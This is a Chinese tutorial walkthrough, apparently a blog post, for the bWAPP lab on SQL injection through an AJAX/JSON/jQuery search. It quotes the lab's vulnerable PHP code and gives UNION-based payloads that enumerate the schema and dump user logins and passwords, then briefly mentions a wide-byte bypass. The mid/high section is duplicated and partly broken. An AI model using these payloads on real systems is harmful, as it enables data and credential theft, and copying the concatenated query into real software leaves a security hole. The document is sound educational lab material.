bWAPP-SQLInjection-AJAXJSONjQuery

AJAX/JSON/jQuery注入

常规流程

1.判断是否存在注入,注入是字符型还是整数型

2.猜解SQL查询语句中的字段数 (order by )

3.确定显示的字段顺序

4.获取当前数据库 (爆库)

5.获取数据库中的表 (爆表)

6.获取表中的字段名 (爆字段)

7.下载数据 (爆数据)

基础知识

什么是AJAX/JSON/jQuery

通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。

AJAX/JSON/jQuery

代码分析

//sqli_10-1.php
<script>
 
        $("#title").keyup(function(){                // #title为表格的ID值
            // Searches for a movie title
            var search = {title: $("#title").val()}; //获取输入的值,制成JSON格式

            // AJAX call
        	//getJSON(url,data,success(data,status,xhr))
            $.getJSON("sqli_10-2.php", search, function(data){ //data 接收返回的数据
                init_table();								 //初始化表头
                // Constructs the table from the JSON data
                var total = 0;
                $.each(data, function(key, val){			//循环输出JSON数据,制成表格
                    total++;
                    $("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
                });
                // Empty result
                if (total == 0)
                {
                    $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
                }
            })

        });
    </script>
//"sqli_10-2.php
if(!empty($_GET["title"]))    //接收数据,并使用自定义函数sqli()对数据进行消毒
{
    // Retrieves the movie title
    $title = $_GET["title"];
    // Constructs the query
    $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
    // Queries the database
    $recordset = mysql_query($sql, $link);
    // Fetches the result
    if(mysql_num_rows($recordset) != 0)
    {
        while($row = mysql_fetch_array($recordset))
        {
            $movies[] = $row;
        }
    }
    else
    {
        $movies = array();
    }
}
else
{
    $movies = array();
}

getJSON

演练

low

  1. 判断是否存在注入

    a%' and 1=1 #
    

在这里插入图片描述

  1. 判断注入字段个数

    a%' order by 7 #
    a%' order by 8 #
    

在这里插入图片描述
在这里插入图片描述

  1. 判断注入字段位置

    a%' union select 1,2,3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取数据库信息

    a%' union select 1,database(),version(),user(),5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取表名

    a%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取列名

    a%' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取信息

    a%' union select 1,(select group_concat(login,'-',password,'-') from users),3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

mid/high

分别用了addslashes()和mysql_real_escape_string()函数防御

查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:

可惜mysql编码是utf-8:

ThokuG-1600695053041)]

mid/high

分别用了addslashes()和mysql_real_escape_string()函数防御

查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:

可惜mysql编码是utf-8:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值